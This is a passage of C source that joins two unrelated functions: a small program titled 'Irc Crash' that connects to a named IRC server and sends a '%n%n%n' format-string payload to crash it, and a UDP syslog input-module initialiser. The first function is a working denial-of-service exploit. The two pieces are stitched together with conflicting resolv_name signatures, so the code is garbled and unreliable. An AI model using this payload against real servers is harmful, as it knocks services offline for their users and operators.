int main (int argc, char *argv[]) { int sock; /* socket descriptor */ int retval; /* return value from connect() */ struct sockaddr_in ServAddr; /* socks's server address */ char *servIP; /* server IP address */ char *socksbuf; /* send buffer */ unsigned short ServPort; /* socks server port */ struct timeval tv; /* timeout values */ unsigned int len; /* message length */ fd_set sockSet; /* set of socket description */ unsigned long theip; /* the ip */ fd_set setit; /* fd settings for select() */ int i; if ( argc < 2 ) { printf("Irc Crash \n"); printf("Usage:"); printf("./ircc <irc-server> <port>\n"); exit(1); } servIP = argv[1]; ServPort = atoi(argv[2]); if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 ) return -1; /* There is no socket for us :( */ memset(&ServAddr, 0, sizeof(ServAddr)); ServAddr.sin_family = AF_INET; ServAddr.sin_addr.s_addr = resolv_name(servIP); /* irc-server ip */ ServAddr.sin_port = htons(ServPort); /* port */ if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) { printf("Connected...\n"); } else { printf("Error connecting to the ircserver\n"); close(sock); exit(1); } sleep(1); /* just sleep */ memset(&socksbuf, 0, sizeof(socksbuf)); socksbuf = "%n%n%n"; printf("Sending buffer %s\n",socksbuf); i = send(sock, socksbuf, 7, 0); if (i <0) { printf ("Error sending buffer\n"); close(sock); return -1; } printf("Buffer send\n"); close(sock); return 0; }
int im_udp_init(struct i_module *I, char **argv, int argc) { struct sockaddr *sa; struct im_udp_ctx *c; char *host, *port; int ch, argcnt; socklen_t salen; if ( (I->im_ctx = calloc(1, sizeof(struct im_udp_ctx))) == NULL) return (-1); c = (struct im_udp_ctx *) I->im_ctx; port = "syslog"; host = "0.0.0.0"; argcnt = 1; /* skip module name */ while ((ch = getxopt(argc, argv, "h!host: p!port: a!addhost q!nofqdn", &argcnt)) != -1) { switch (ch) { case 'h': /* get addr to bind */ host = argv[argcnt]; break; case 'p': /* get remote host port */ port = argv[argcnt]; break; case 'a': c->flags |= M_USEMSGHOST; break; case 'q': /* dont use domain in hostname (FQDN) */ c->flags |= M_NOTFQDN; break; default: m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: parsing error" " [%c]\n", ch); FREE_PTR(c); return (-1); } argcnt++; } I->im_fd = socket(AF_INET, SOCK_DGRAM, 0); if ((sa = resolv_name(host, port, "udp", &salen)) == NULL) { m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: error resolving host" "[%s] and port [%s]", host, port); FREE_PTR(c); return (-1); } if (bind(I->im_fd, sa, salen) < 0) { m_dprintf(MSYSLOG_SERIOUS, "im_udp_init: error binding to host" "[%s] and port [%s]", host, port); FREE_PTR(c); return (-1); } I->im_path = NULL; add_fd_input(I->im_fd , I); m_dprintf(MSYSLOG_INFORMATIVE, "im_udp: running\n"); return (1); }